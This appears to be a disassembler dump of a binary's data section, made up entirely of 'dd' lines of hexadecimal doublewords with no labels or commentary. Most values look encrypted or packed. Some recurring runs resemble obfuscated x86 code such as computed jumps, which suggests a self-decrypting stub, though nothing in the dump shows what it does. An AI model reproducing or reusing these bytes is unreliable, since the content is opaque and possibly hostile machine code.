		dd 2983F427h, 0F36CE03Ah, 25A16AD9h, 0F97BA7FDh, 1CF96A7Eh
		dd 0C3C245F2h, 0F919146Fh, 634533h, 0CC900000h,	0E612106Dh
		dd 0A1924F04h, 0CF4505F4h, 0E6853708h, 34E74F04h, 0E5C1A3A4h
		dd 0BA004F04h, 0C8423876h, 0DB59A605h, 594F04E5h, 51823DBFh
		dd 704BEE05h, 0AE6BADCCh, 0ED4E6DFh, 3F6B4F05h,	91AB01B8h
		dd 216D5ED9h, 0E30728E1h, 0EB9740D1h, 9026A528h, 87000000h
		dd 0F1CEDB9Bh, 4F056C73h, 0CD3EF1h, 0C46FD84Bh,	0DEFB8E10h
		dd 7E5A014Dh, 9675D80Dh, 7C4CCF8Ch, 0E8250AC7h,	0DF54E9B2h
		dd 389017C3h, 0DA244E0Bh, 15A7981Fh, 6DE040F7h,	0BF1E81F2h
		dd 0D3DE7153h, 0D0BD393Eh, 2DAF01B6h, 500426B2h, 1BB1E2D7h
		dd 0E94E4124h, 8B6A7B54h, 0E94CB8BAh, 16C33454h, 36A5444Ch
		dd 0E8A510B7h, 255AAB6Ah, 15AD48Ah, 0EB60FACEh,	3A805870h
		dd 2D46ACF6h, 0E2BB39Ch, 0B36CCF88h, 60116E31h,	0C454FF70h
		dd 0D8DB8C13h, 4B2AED6Fh, 4A1E995Fh, 0C2F73C99h, 0A254F023h
		dd 0AC15B71h, 67D6CC93h, 0B663D0E8h, 0CD4C0B17h, 0CCDA48FFh
		dd 1CDAA3F2h, 0B93BC19Bh, 77D3AA3Eh, 0D5AFC30Bh, 0C8F4CADh
		dd 9795EA49h, 1599EE79h, 77566922h, 632CAB2Bh, 0A339B027h
		dd 0F95CD799h, 7A47251Ah, 72A599EEh, 7A6B3399h,	7EE0C810h
		dd 7AD7FC9Ch, 3AB15050h, 51061C83h, 0E9C37EFFh,	31AA207Ah
		dd 490119FCh, 8902B4CEh, 5570033h, 0DBCh, 53051D00h, 65E7FD8h
		dd 7FFA7BA7h, 0C477C592h, 6EED7F4Dh, 894FDDEFh,	2CA0BA0Eh
		dd 520319B3h, 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh
		dd 68B30D5Fh, 2249h, 68241489h,	683Bh, 57240489h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 6852240Ch, 66354273h, 39CA815Ah
		dd 81678761h, 0AD2719CAh, 83CA8142h, 8125FC67h,	0EBD55FC2h
		dd 8BD0899Dh, 0C4832414h, 0C8B5404h, 4C48324h, 0E3BF5750h
		dd 123800Bh, 5F04247Ch,	8108418Fh, 0BE30869h, 0C8B2380h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 582434FFh
		dd 0E904C483h, 0FFF93AEEh, 6E797F46h, 8579F41Fh, 0B8775764h
		dd 5EB424Eh, 0E0FFC503h, 6B8DFC72h, 0CFF8CC3h, 458909ABh
		dd 0A33075Dh, 4CE85F6Fh, 9CAEACCh, 2CB2538h, 7B36A445h
		dd 5E8CBC54h, 6EC69C29h, 0B191206h, 64D3FC77h, 0FF1142Ah
		dd 60DBC8BFh, 2EE30412h, 4F43F10h, 3A0B04EBh, 0AEE929E0h
		dd 41000005h, 0AA70178Eh, 0FC26A92Eh, 4FDBFA7Dh, 9773128Dh
		dd 0F324AB26h, 0E960D5C4h, 3FB83CE6h, 53D48298h, 0E661D64Ch
		dd 340958E7h, 54F02936h, 56DF0B6h, 299DEB4Bh, 0FC7C86A2h
		dd 77399E7Bh, 0E97349C0h, 4B2AED64h, 4E5F87Ah, 0D683744Fh
		dd 6DEC6BB7h, 78FACBAAh, 0F44F04E6h, 43025603h,	0BE1B9647h
		dd 5464E754h, 28A3150Dh, 9747A390h, 0E753BF18h,	1BBA4860h
		dd 0FCE490Fh, 4E63436h,	927FB04Fh, 0A229C8C8h, 0F87EA42Bh
		dd 14C2587Fh, 2FBD3ABAh, 8EDA5D1Dh, 9D2F6055h, 7850CF8Fh
		dd 8CD6DAA0h, 0E652D02Dh, 48D24F04h, 0CDD90A85h, 0DBC7900Bh
		dd 441F831Dh, 5E4001A5h, 1F0B6A6Dh, 0CB8ADE59h,	58278FAh
		dd 0CE03F44Fh, 0DB521905h, 0CAA89574h, 2A4F0581h, 0BBAC2CE9h
		dd 4F0581B6h, 49639C5Eh, 378504B3h, 64858D57h, 0C90374F7h
		dd 0FD468FF3h, 6E2E1564h, 71h, 106DCCA9h, 4F04E612h, 70F23392h
		dd 0CC4F04E6h, 117DD60Bh, 5689235Ah, 4F04E5D2h,	975E4218h
		dd 2E14C9ACh, 0B695635h, 694F04DAh, 1F2EDA6h, 25000000h
		dd 8E5DC377h, 0FF77D0B7h, 132983F4h, 728820A7h,	0DF7547C0h
		dd 0DBC79D85h, 0D43E9B1Eh, 2E0C7164h, 0DE4F0506h, 0F489CE57h
		dd 0E4575310h, 554D2CB3h, 0C85266E1h, 0FA578803h, 3DA0DB90h
		dd 4BC677A8h, 0C16FEB71h, 0BA1920Dh, 5E42C7Eh, 0F87A4B50h
		dd 744F04E5h, 0D34F4E83h, 35D7E564h, 95B70584h,	0F517A524h
		dd 0EF68EC44h, 0A73566DDh, 359D085h, 0E22EF4D0h, 24E5BE33h
		dd 0D60B19CCh, 32FB2783h, 2E159741h, 67AAh
		dd 0D6CCED00h, 0E42EEB64h, 0E31EDF71h, 66291AC9h, 4832F60Ch
		dd 6C29098Eh, 9C1BDE6Ch, 246C36CCh, 0F69910C5h,	9A2EA92Ch
		dd 96B543Bh, 6B4F04F7h,	31A3EFA8h, 0F35722B6h, 0DFED468Fh
		dd 5A1E2E14h, 0B9000000h, 7762D6CCh, 4E62C0Eh, 1247884Fh
		dd 61985DB9h, 58100A4Bh, 0FD568DDFh, 8A0DB91h, 4BAAD6B4h
		dd 0DF880F8Ah, 996DE6CCh, 0C42E67F3h, 0CC4B0F0Bh, 0ECDD5FCh
		dd 0CC063D8Fh, 0D453E1F1h, 7D420F17h, 4F0529FCh, 81336F36h
		dd 0D481B206h, 0F44F868Ah, 652E150Ch, 1, 47C277B0h, 7B60D775h
		dd 4E6280Ah, 0FC7A844Fh, 81F2617Bh, 778F365h, 30FD5B5h
		dd 0EDF077E2h, 0E8AF2D9Ah, 0E9112A97h, 0EADB8A54h, 54E91188h
		dd 0EAFE33E4h, 7D609B50h, 0D0B736A5h, 694BF7FAh, 0F6A39F24h
		dd 231CE3E2h, 54E95C41h, 5EA770A3h, 54E95BDAh, 0A903BC3Eh
		dd 16A22593h, 0B67EA2FCh, 0A140402Ah, 0F62CB32Ah, 0D3F2C641h
		dd 5C31330Ch, 69B354E9h, 0E55E6AE5h, 35566B0h, 0CEDA75EBh
		dd 0DB521905h, 6A96F481h, 0F764CC8Bh, 3D9C0374h, 0D0EF71E5h
		dd 792772B7h, 0B0824F80h, 33F931D3h, 18004h, 0FD7DA500h
		dd 18F56E7Ah, 0C46FD8B3h, 0FCA39417h, 0D950051Dh, 11135083h
		dd 934F04E6h, 7C4CC789h, 663992C7h, 0E9039019h,	9933E454h
		dd 0F255D483h, 15A720A8h, 0C85275DEh, 91308803h, 10125332h
		dd 6C54E903h, 2F87AABh,	837454E9h, 8C0FCCD6h, 0E118D1C9h
		dd 0F855D485h, 0C8B4AD0h, 0B32CAEBCh, 0F23E8C19h, 171B6F3Ah
		dd 0C7C641F6h, 0F8E61073h, 677933h, 0D89C0000h,	27057A62h
		dd 854F04E6h, 64BE6152h, 0EC6775F6h, 0A5FD5C23h, 3320B833h
		dd 0E66B1966h, 0B3124F04h, 3E67E257h, 4F04E63Ch, 109A77B8h
		dd 21278DFh, 0B63BB8E8h, 0B503BE98h, 47DA0845h,	1B19CE8Ah
		dd 0BA4F0568h, 2C9ED0D0h, 0EC9EE7A6h, 484F0567h, 1C61C087h
		dd 4F05681Eh, 8C415D9Eh, 0A625B815h, 0A5h, 0F46FD8F1h
		dd 7DAADF34h, 2A1BFA6Fh, 4F051748h, 5F3E73A4h, 42169143h
		dd 47C67591h, 0B215FE75h, 0E927904Dh, 912BEC54h, 4A4DCC8Bh
		dd 0C8E01BD0h, 6C41A189h, 0E8AC6BA7h, 9E5FC62Fh, 0BF1D54E9h
		dd 0A2259273h, 1D9F4823h, 7EE350BAh, 0C13BA59h,	785262F9h
		dd 523FBFA0h, 80D9B2F3h, 0F2255AD4h, 0D9744E6h,	0A3D1BB6Fh
		dd 0F1CB3C82h, 0E4D9B829h, 4F13FD86h, 4BB62CE6h, 9BC75C08h
		dd 0A1E1EDA6h, 0D1B436EFh, 2AA000C9h, 0CC937CB1h, 0FFC69AF3h
		dd 55190154h, 95C641F3h, 0E154BE38h, 0C85266h, 7E615287h
		dd 66D6CCE9h, 904D2CE9h, 0E5BDBF80h, 6E3F4F04h,	4E61311h
		dd 6D5E914Fh, 33685538h, 9854F029h, 392C87B2h, 814A640Dh
		dd 0DD5FA0E5h, 5F54F060h, 0B11AB9Ch, 50CACD4Ch,	0B82499Bh
		dd 2EBA9BB1h, 23B2A400h, 0C0DABDEEh, 0C777930Ch, 1ACD8F48h
		dd 80FC062Eh, 20F16FEAh, 8DC8A66Ah, 60FACE03h, 876672EDh
		dd 0EB3FF73Bh, 0FB709191h, 16C55D40h, 733A3805h, 79BA78E5h
		dd 2496B404h, 0E34911ABh, 1E995EBFh, 9C34A37Fh,	52665BDCh
		dd 2AA51773h, 0D7E61h, 0CCA90000h, 0E612106Dh, 0A1924F04h
		dd 7772DBF4h, 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch
		dd 6785D752h, 0DB617BF6h, 30CA9E19h, 90AA3EB9h,	0B30D5FD8h
		dd 399A68h, 24348900h, 81E68956h, 4C6h,	4EE8100h, 87000000h
		dd 895C2434h, 2668243Ch, 8900002Eh, 36682404h, 8B05EB43h
		dd 0C483243Ch, 48B5404h, 4C48324h, 4F7768h, 243C8900h
		dd 0A8243481h, 8F491713h, 70810840h, 1713A808h,	2434FF49h
		dd 4C48158h, 0FF000000h, 835F2434h, 0EBE904C4h,	0AAFFF934h
		dd 39266FF7h, 56168C9Eh, 4873B857h, 0C50305EBh,	0E78EE0FFh
		dd 2319C0h, 0E72561FBh,	0D9515C2Dh, 0E8644DCBh,	866357B1h
		dd 52D03FF3h, 963F01B1h, 7CEA0BAEh, 4EB6A05h, 36C184FEh
		dd 50AE9h, 71E86B00h, 8304B46Eh, 0D453061Ch, 6CE769B1h
		dd 853CB169h, 0FFAA1502h, 46DCC37Eh, 0AC761996h, 0F02AAD2Eh
		dd 26DDC07Bh, 2F1C1E67h, 0E29854F0h, 49C077B5h,	0ED64E973h
		dd 0BB30EAh, 1497455Dh,	4C0B11BBh, 94200ACDh, 6D3E2AA4h
		dd 62F8D0BDh, 74AE71F6h, 0D77547C0h, 0DCB9EA65h, 141C66FCh
		dd 0C0C746F5h, 0B41B9C5Ah, 8F8AE8D5h, 29EA4F05h, 359E19DDh
		dd 49C28892h, 87785273h, 8BF9DD94h, 0FD719D76h,	0CC967642h
		dd 34B725C4h, 4BC28991h, 6609AE84h, 0C14A625Fh,	9E834414h
		dd 484F05B9h, 7CC70E72h, 0ED2E159Dh, 60h, 49C07728h, 0E66CCC73h
		dd 24864F04h, 0C94E35FCh, 1BF2E14h, 0DE000000h,	80356DCCh
		dd 4380B309h, 4F04E5E1h, 71348943h, 1A18DD8Ah, 0B6226C29h
		dd 0C9819B31h, 6EE07A4Eh, 734DE7F5h, 0ED6AEE0Fh, 0DB248BEAh
		dd 4F05A659h, 2CBC3BBBh, 8F488B37h, 0DBC7D483h,	0C3A19E19h
		dd 214F05A5h, 4D1ABDEEh, 714BC677h, 0D0E86FEBh,	5CBDE5C5h
		dd 187F1E99h, 0E7646132h, 937C2DDFh, 7349C077h,	2597F352h
		dd 0D0F775AAh, 82754F05h, 8D0CCDC9h, 7DAFE0CAh,	0F15B015h
		dd 0AC742F3h, 0EB17F34Eh, 15515122h, 86BA2Eh, 77DD0000h
		dd 77F062C6h, 2594B602h, 40F416A2h, 0DCEC6BEEh,	84A63267h
		dd 41FA70D2h, 2E8BC0Ch,	0FAC4D61Eh, 4B6ECB6h, 11C4CE8Bh
		dd 8A90F796h, 0C47F4DCAh, 0D34E0F0Bh, 76F163F9h, 4BCE8B97h
		dd 4309C271h, 25EC14F6h, 2E14CF4Eh, 9E047B57h, 93F03846h
		dd 628FC6h, 0CCCE0000h,	0D3DD8DE6h, 329F5844h, 14C365E8h
		dd 0DB0CC795h, 7AFD7B81h, 0F0309A6Eh, 62255C11h, 5F38B338h
		dd 0B58A6948h, 4F056CB7h, 4009C235h, 7444C377h,	7A5B056Dh
		dd 0AC0E13EDh, 799D82E3h, 75574F05h, 5D7FC40Dh,	15E82E15h
		dd 0D9000000h, 4F1819F1h, 9AEB9ADAh, 4F05A498h,	94EE2314h
		dd 0ECEDA621h, 7547C277h, 26E960D7h, 0ABA319CCh, 0C790B333h
		dd 236F3595h, 0D9017C2h, 884FCDBAh, 0E9FB4AB7h,	0A669AA54h
		dd 0A77CFEC7h, 37F854E9h, 6FEC7E5Ah, 0BA31E9ECh, 4928A903h
		dd 0E9A6F674h, 49857654h, 0DE6367FDh, 53907D9Dh, 54E929CFh
		dd 8869A973h, 0A25B51C3h, 0BE2C418Dh, 1BD04A4Dh, 74E53DE0h
		dd 0A36CE7F5h, 25A41329h, 60A0FA97h, 4C53CA81h,	0F93C85FEh
		dd 46BF1E33h, 54E94CE4h, 8BC28F40h, 14Dh, 0ED6FD8C2h, 3CCD52Ah
		dd 277354E9h, 0E83113ABh, 50B479Fh, 0FEF3671Ch,	0C11BA770h
		dd 99CC9A7Ah, 0EBC132A1h, 0BE39B0EAh, 8B02C9D5h, 0DE591E04h
		dd 0C5A7987Fh, 2754E923h, 0ABB11BF4h, 64C63F2Ch, 0C054E924h
		dd 0F38EDA0Fh, 0B2B08D6Ch, 3254E923h, 43211EC1h, 0A154E924h
		dd 0F939A56Eh, 0B5D85318h, 0F906FE45h, 456F33h,	0D8AE0000h
		dd 0D825E862h, 4F04E6AAh, 2786498Ah, 86FF7AFBh,	4F04E5A4h
		dd 5602CF00h, 4E59391h,	4793324Fh, 6C8AEC38h, 0A685527h
		dd 6A4F0596h, 3F9B74A9h, 47CDBDF3h, 960DBF80h, 0AC6F4F05h
		dd 9FAA29h, 0D8FD0000h,	4B2AED6Fh, 0DB07995Fh, 0E5EA614Ch
		dd 0AB983065h, 284481EEh, 6FA054E9h, 9108CF5Dh,	24A7140Eh
		dd 8CC5394h, 4C854E9h, 0AF2B318Bh, 0A5059028h, 4D2FB57Dh
		dd 0B437A445h, 8803C9D1h, 7AD9B8CFh, 0E9082705h, 9972D554h
		dd 31D6B6D4h, 228942B5h, 1A186575h, 9A54E8EBh, 5CA16459h
		dd 5AD433EDh, 28328649h, 0E745BAA3h, 454F1431h,	47C08892h
		dd 0E157B312h, 31A98BF4h, 0C80B4F14h, 0CE9E3A97h, 85723C64h
		dd 0C7F4007h, 6854FF7Bh, 594120A7h
		dd 81D60090h, 0FCF77F68h, 4902318Bh, 0ED6FD800h, 2F66D52Ah
		dd 11C254F0h, 0B32AA1BBh, 0C641F62Ch, 0DD5FA007h, 5F54F02Eh
		dd 0A699339Ch, 881AF93Dh, 0A038B339h, 0C5CDB9Ah, 29C07FFEh
		dd 85995151h, 1E1C61C0h, 9E85C669h, 0AAD6F05Dh,	8A0D8C4Bh
		dd 0FDA0DB90h, 26B235A5h, 0E41FD12Dh, 26B21FD4h, 83D95204h
		dd 0B051513Bh, 0AB22A93Bh, 0EEF12211h, 41048734h, 689F9DE2h
		dd 0DA1D85C6h, 39A5B71h, 0CD000000h, 0C4775106h, 6EED7F4Dh
		dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h,	19DB617Bh
		dd 0B930CA9Eh, 0D890AA3Eh, 68B30D5Fh, 6768h, 57240489h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 63616824h
		dd 0C890000h, 1F71B824h, 0E88359ADh, 7A2D4801h,	25657E6Ch
		dd 34DC34DAh, 0E7B32D48h, 8B542E20h, 0C481240Ch, 4, 8BA52h
		dd 0CA010000h, 148B0289h, 4C48324h, 52240C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 48B5C24h, 0E0895024h, 405h, 4C08300h
		dd 5C240487h, 0F92FA9E9h, 60A34DFFh, 0F62C2BE2h, 0B849245Fh
		dd 5EB4D96h, 0E0FFC503h, 14A37BB6h, 2FAE7BE0h, 4978578Eh
		dd 5A0B5073h, 30D556E4h, 7B524227h, 5221A7E9h, 0B631D49h
		dd 49B6C1B5h, 77B03F07h, 2C6B15Fh, 6B5BB94Fh, 5908EB2Dh
		dd 77E8D878h, 35D076D7h, 551DA7F9h, 173C0387h, 46B2AFC1h
		dd 38ECF529h, 3D0B7D69h, 43DDAD79h, 4F5D8D8Dh, 6A05EBh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 525978C3h, 840Fh, 0F95A0000h, 10958D89h, 6A05E4h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8D8968C3h, 5E423A1h,	6CC4BA66h, 2111B58Bh, 85C705E4h
		dd 5E42C65h, 617Ch, 6556F281h, 85C76AF3h, 5E430FDh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 12C35141h
		dd 3C98D89h, 0B5FF05E4h, 5E426FDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 4AC35747h, 89F7DAABh, 0E41A359Dh
		dd 4D950905h, 0FF05E414h, 0E42A6195h, 6ADA8B05h, 0C195FF00h
		dd 8B05E410h, 106FEBC0h, 98C99366h, 0F99127Eh, 486A092Fh
		dd 78E4B648h, 97A5AF84h, 0FD928577h, 28A0F4Eh, 364C9794h
		dd 390D4AC1h, 1C479D2Bh, 8102D994h, 897B9476h, 2B551838h
		dd 395BE0C9h, 9C7101F9h, 8C7FF3C9h, 3E828E01h, 0EABB987Ch
		dd 54606541h, 0B0842B5Ah, 80A9379Ah, 0A2513BA4h, 0EC1D594Bh
		dd 40E43EBAh, 5532B6EEh, 0EFD6419Dh, 0FF5323BCh, 4EB59FDh
		dd 70FBFE86h, 548E9h, 0B128AB00h, 0C344F42Eh, 149346DCh
		dd 0AC27A971h, 0C57CF129h, 3F6A55C2h, 869C03BEh, 0EC3659D6h
		dd 30EAED6Eh, 0E69D00BBh, 34DC5EA7h, 225854F0h,	49C07775h
		dd 0ED64E973h, 19BB30EAh, 7F7FF4E9h, 0F3714E42h, 714F05C3h
		dd 40184DBEh, 0CD562901h, 0A5390AE8h, 0B31C9759h, 5369E057h
		dd 328601C9h, 0BB5A4620h, 1ABD3Ch, 0F671F84Ah, 993C71E2h
		dd 0F379CB81h, 97F36078h, 6474A920h, 0C39916C6h, 0E2006A7Bh
		dd 0AE050441h, 0C9C9957Eh, 0A629A228h, 0DB43EBC7h, 89F04E99h
		dd 9215C2CCh, 7F6BE733h, 0EA814DF1h, 0C02AAB21h, 1A1406B2h
		dd 0CB0B4CE6h, 0F5CA7AB1h, 89EED780h, 0A34F04F2h, 58AB88E2h
		dd 79EC1711h, 480576F1h, 78CB020Eh, 0E12E157Ch,	8Eh, 60D6CC34h
		dd 6BE02AE7h, 0C39910D9h, 0F2704D10h, 724F04E5h, 0CB7C4C81h
		dd 4F04E667h, 30F93983h, 2E14C953h, 0A84h, 0A2CD2500h
		dd 247BC407h, 775E7FD8h, 6D7444C3h, 0E5B3B18Eh,	0FE314F04h
		dd 0C6410915h, 0AD87D3F2h, 0AFF33FF1h, 0F97BA770h, 75D86A7Eh
		dd 0ECBA996h, 0E6294F05h, 8061A12Dh, 92884FC8h,	51CE8E20h
		dd 0C597C87Bh, 0EC1A39Ch, 0F0234F05h, 57B3D2BFh, 0A88AFBE0h
		dd 544F050Eh, 2A9C5E2Ah, 0FF198598h, 588DFE79h,	0C677A035h
		dd 6FEB714Bh, 0F6CD25E8h, 4BA34842h, 48657720h,	6EEF0E72h
		dd 8136ECF3h, 21A8B206h, 0E34712A6h, 3EBDE5BFh,	5D362DBFh
		dd 15A41A19h, 6D432Eh, 778A0000h, 73F462C6h, 87F85F3Eh
		dd 4F04E5A5h, 517BD407h, 0BFAA2A70h, 4E5E446h, 5A8F404Fh
		dd 1E78D50Eh, 768CDC5Bh, 5005E42Ch, 0CBD7B6D9h,	0C4CE8B0Eh
		dd 38C29611h, 0D2AF3DB6h, 72C10808h, 9B2E14CFh,	5Dh, 4BC67732h
		dd 5ED99E84h, 0E5A486FFh, 0CF004F04h, 6B45602h,	0D5842EACh
		dd 9C2C6152h, 0DF3E62C8h, 8C0BCA1Eh, 77A3345Bh,	0A98144C3h
		dd 0BCA1633Fh, 1ABE1BB8h, 89EBD4BBh, 0EB4F0544h, 21066F28h
		dd 0CB4F0544h, 0B78B1F1h, 942E1527h, 0FC7ACC8Eh, 81F2617Bh
		dd 605F382Bh, 1, 60D6CCB7h, 69E02AE7h, 8B40DAEEh, 0CB3CB739h
		dd 5F4329F1h, 20953BBEh, 725174A9h, 6F28A328h, 8E51D38Ch
		dd 0E91148B1h, 516BAC54h, 0A8D0CCBh, 88205B10h,	0E910D357h
		dd 6D957754h, 0D6F5037h, 6F54E911h, 30A7E3ACh, 6FA0DB90h
		dd 59C772A8h, 0CB9A8724h, 6D30491h, 0BD3CBB67h,	0DF5E1D2Fh
		dd 66AAF08Dh, 0F877E63Ch, 0C544F31Fh, 5397E3C2h, 6580E949h
		dd 632012FFh, 7C33F981h, 63C13E9Dh, 0C154E992h,	9253D10Eh
		dd 1ED154E9h, 1513AB5h,	0D85D0000h, 4B2AED6Fh, 0F799F5Fh
		dd 62395177h, 0AB8845B6h, 54E9043Eh, 0C822E556h, 80B9B123h
		dd 9E58C6E7h, 7ED901EAh, 4908400Dh, 560FF061h, 0CE8BF530h
		dd 0F19417C4h, 53C58892h, 5BAB4D39h, 15A798BBh,	9710C4DEh
		dd 59450EC5h, 5EB41B92h, 996C7CF6h, 7359321Fh, 0D1EB62E9h
		dd 5BBAE6C4h, 887A1D9Ch, 33F9C3BBh, 4D2Ch, 62D86B00h, 7FFD25E8h
		dd 98E5ECFCh, 4F04E59Ah, 2BE4D91Ah, 0E6596B54h,	0F83B4F04h
		dd 31B9E1E0h, 9694DDB6h, 354F04E5h, 0BF6B256Dh,	5F6D5235h
		dd 0E64F04E6h, 0D2BF38BCh, 7AA067A8h, 9496EFFAh, 104F04E5h
		dd 9E21EADFh, 9ADFh, 6FD80E00h,	0F8D52AEDh, 7454E8F6h
		dd 46F6DC83h, 8C0FCC78h, 0E47A6B42h, 0DC9BA12Bh, 6BE03A5Dh
		dd 67D8F0h, 0BA54E945h,	0FE79FF2Bh, 329C79EAh, 0CF8E94CEh
		dd 576F179h, 17894E48h,	4E0F7C8Dh, 4AF9D3h, 3598E43Bh
		dd 0E9DE6AC8h, 0D409CA54h, 8B09C6B1h, 950D65C4h, 79912B30h
		dd 8477F52Ah, 2BF554E9h, 11FA2FAAh, 0D3C2714Eh,	257D5AD4h
		dd 515D36B1h, 9F8BCA9Eh, 0AAF4A1D8h, 4E1EAA2Dh,	5F2BCE4h
		dd 4CFFC087h, 0F3550007h, 24639EA7h, 0F30F9ED0h, 610DC641h
		dd 0D8BE2FAEh, 4B2AED6Fh, 4E5F87Ah, 6783744Fh, 0CA9D76F1h
		dd 0B9BB846Bh, 6B4F04E5h, 0EFE5B07Fh, 0BD7E684Dh, 3787E5DAh
		dd 32E54F05h, 86E91859h, 8A4D54F0h, 2CAF2C3Eh, 6AFA71A9h
		dd 0E45F6DEAh, 4F2619B3h, 0C3CA00AFh, 9358B9F9h, 2EAD7518h
		dd 4D0F1DAFh, 0F56486D2h, 17C46672h, 48BD3CBDh,	0C2CEAC70h
		dd 9AC5A798h, 0F427C000h, 535F2583h, 2F1005B2h,	0C0009B4Dh
		dd 943B6CAFh, 8F4EC98Eh, 0E9A22593h, 302E3h, 6550000h
		dd 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h
		dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 0AB68B30Dh
		dd 8900003Eh, 8952240Ch, 4C281E2h, 83000000h, 148704EAh
		dd 1C895C24h, 0E1895124h, 4C181h, 0E9830000h, 240C8704h
		dd 242C895Ch, 0EB4FDC68h, 241C8B05h, 4C481h, 8B540000h
		dd 0C483242Ch, 8B95104h, 1000000h, 348153E9h, 301C4F24h
		dd 81018F04h, 301C4F31h, 2C8B5904h, 0E2895224h,	4C281h
		dd 0C2810000h, 4, 5C241487h, 5B2434FFh,	0E904C483h, 0FFF928A2h
		dd 54A5B840h, 0C50305EBh, 0E548E0FFh, 0CBDA08C8h, 71F6393Ch
		dd 366D2D3Bh, 721234FAh, 0C9E67EA6h, 58737D0Bh,	6EDC00F7h
		dd 175A588Ch, 0A4A3223Eh, 85C712BCh, 8EA0722Fh,	1801220Dh
		dd 0C65A3C73h, 51564398h, 0D8A37420h, 0A1E37FCBh, 0F5F778E8h
		dd 902E7BDBh, 0F6F55F0Bh, 56AE78FAh, 0B93A76CAh, 7DDA4F3Ch
		dd 4EB21C7h, 0CF11CD5h,	520E9h,	0F970E300h, 0B8C4CD6h
		dd 5CDB9E84h, 0F46FE139h, 0D8449D1h, 77229D8Ah,	0DE444BC6h
		dd 24FEE11Eh, 889235B6h, 0BE4548C3h, 3A9496EFh,	6A1054F0h
		dd 49C0773Dh, 0B2F35273h, 4F04E5B0h, 40ECB0Ch, 6BB7D651h
		dd 70AA6DECh, 0C29643FCh, 0A038B338h, 359DE9Ah,	0EFFD74F9h
		dd 4B61985Dh, 25ED15F7h, 6A8BF7D1h, 4FAB6AEDh, 8937C695h
		dd 56692278h, 37A40ECCh, 6CA1D89Dh, 13B2E75Ch, 0F2C641F7h
		dd 516BE468h, 31A40CCBh, 0D57745B6h, 8ED7E564h,	5CCB3B1h
		dd 0E6FE314Fh, 80DC141Ch, 0A117F63Ah, 0FC7BA726h, 37B09A7Dh
		dd 6B80AD0Fh, 0D2E661D6h, 69632C61h, 59B71F6h, 0E121BB4Fh
		dd 157E5B28h, 5D8C2Eh, 77CB0000h, 0CC7349C0h, 4F04E66Ch
		dd 35FC2486h, 2E14C94Eh, 1BFh, 0E6CCDE00h, 4D7ADDE8h, 0C5C18AA7h
		dd 581A0015h, 69568DDFh, 4F05DD0Bh, 0EFC05939h,	0B822BFA9h
		dd 77430277h, 78E04D7Ah, 5E7AD726h, 318B0CCCh, 9A2EA92Bh
		dd 0A8F23E88h, 6943C472h, 45F511FAh, 9047C3C2h,	77E17619h
		dd 0EB714BC6h, 4AD0E86Fh, 0AFBD0F88h, 281BB128h, 8CA1CDEh
		dd 0D5063D8Fh, 9090EA87h, 0B9F9C158h, 0B7889558h, 4F04E5B5h
		dd 0C93C437h, 9226A116h, 7246C188h, 0D1EB64E8h,	0BC0C8B4Bh
		dd 0B8595921h, 3221BB34h
		dd 0BFEBEAC1h, 382B8138h, 0C60F735Fh, 2E14CF6Dh, 2CAF2C76h
		dd 7C7463h, 4D550000h, 89BA0E89h, 0C6778FCCh, 6EEB714Bh
		dd 8243D1EBh, 630E0A8h,	0E4B1EB32h, 0E657B6FAh,	3FBE646Bh
		dd 0A0122880h, 7F0A6027h, 6131E186h, 42C5748Eh,	0B810FD76h
		dd 3E07E6EDh, 4F059A3Ch, 309A77B8h, 833A39F0h, 50A32E15h
		dd 0EA000000h, 0CD63D6CCh, 0F15A8F0Eh, 0CA3B2095h, 4F04E668h
		dd 7FDE13C4h, 5A37B223h, 0ED6EEC7Eh, 0F236C02Ah, 0CCE36F88h
		dd 17F54903h, 0CC4B0AEBh, 0C3771CC9h, 6EF37444h, 0B84F04E6h
		dd 4C37FE22h, 552E14C9h, 0D9AB89F6h, 0C6094F04h, 1520Dh
		dd 77850000h, 73EC6EC2h, 0DB90AA3Eh, 0EAB008A0h, 179247A6h
		dd 0CA480570h, 0D95BA40Bh, 5B4F04E5h, 0AC3F1A81h, 0C63B2ABCh
		dd 7C45BA0Dh, 0D854E9BDh, 30A74517h, 4F0C16B9h,	0E5F776E5h
		dd 6CA183FCh, 0D00354E9h, 291EAA9Fh, 54E96D49h,	1EFF2389h
		dd 63BFDE59h, 0C56775F4h, 0BF38BE16h, 0F7C5362Dh, 0DA8080DAh
		dd 6D280A7Bh, 70E454E9h, 4F08CBF7h, 0B2159443h,	6D9092D3h
		dd 0CC8C54E9h, 339C5F4Bh, 66D5CDACh, 5DDF20E7h,	0DF54E96Dh
		dd 47FB31Ch, 7533F950h,	12Ch, 0ED6FD8A0h, 0F87A4B2Ah, 744F04E5h
		dd 0E77D683h, 54E903A1h, 94B602F5h, 0B9E1A427h,	0A4239335h
		dd 21EADF14h, 54D7849Eh, 0F671E604h, 8FF3D7E2h,	8C0FCDD5h
		dd 404A073Ch, 0BD8D108Bh, 33F8E5C6h, 4337h, 6DCC6600h
		dd 0DB088335h, 4F04E659h, 0FCBF18DBh, 0FCC1840Eh, 4F04E6CEh
		dd 139444AEh, 3598AB9h,	4E65EDCh, 0ED15FD4Fh, 0AA6DE7A3h
		dd 4E62755h, 15C4DE4Fh,	2ABE39BBh, 6F0BC439h, 0A5AA29ACh
		dd 0FD000000h, 237F6FD8h, 6DCF34B3h, 0CF4F04E6h, 0C542F20Ch
		dd 440B7CF7h, 8138BDE5h, 0F72EEFD4h, 8D9554E8h,	0E6804DCCh
		dd 8EDA5D1Ch, 0B2486055h, 7038205h, 0C283D950h,	0CF9D16D8h
		dd 0F37ABB14h, 0A954E8F6h, 0B93EDFC3h, 732C9F3Eh, 8C42EF1h
